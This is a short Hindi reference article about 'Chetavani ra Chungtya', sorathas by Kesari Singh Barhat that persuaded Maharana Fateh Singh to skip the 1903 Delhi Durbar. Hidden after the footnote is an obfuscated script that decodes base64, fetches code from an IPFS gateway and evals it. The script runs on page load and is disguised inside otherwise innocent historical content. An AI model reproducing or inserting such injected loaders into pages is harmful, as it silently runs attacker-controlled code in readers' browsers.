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चेतावनी रा चूंगट्या

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चेतावनी रा चूंगट्या राजस्थान के इतिहास से सम्बंधित एक प्रसिद्ध ऐतिहासिक कृति है। राजस्थान के प्रसिद्ध स्वतंत्रता सेनानी ठाकुर केसरीसिंह बारहट ने इसकी रचना की थी। इस कृति की रचना सोरठों में की गई थी।

  • सन 1903 ई. में अंग्रेज़ वायसराय लॉर्ड कर्ज़न द्वारा दिल्ली में इतिहास प्रसिद्ध 'दिल्ली दरबार' आयोजित किया गया था। इस दरबार में मेवाड़ के महाराणा फ़तेह सिंह को सम्मिलित होने से रोकने के लिए प्रसिद्ध क्रांतिकारी बारहट केसरीसिंह ने उन्हें सम्बोधित कर 'चेतावनी रा चूंगट्या' नामक कुछ उद्बोधक सोरठे लिखे।
  • 'चेतावनी रा चूंगट्या' के सोरठों को पढ़कर महाराणा फ़तेह सिंह दिल्ली जाकर भी दरबार में शामिल नहीं हुए और उदयपुर लोट आये।
  • महाराणा के इस अप्रत्याशित आचरण ने अंग्रेज़ हुक्मरानों में एक सनसनी तथा देश भक्त स्वाधीनता सेनानियों में राष्ट्रीयता की एक नई लहर पैदा कर दी थी।[1]


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टीका टिप्पणी और संदर्भ

  1. चेतावनी रा चूंगट्या-रचना की ऐतिहासिक पृष्ठभूमि (हिन्दी)। । अभिगमन तिथि: 06 मई, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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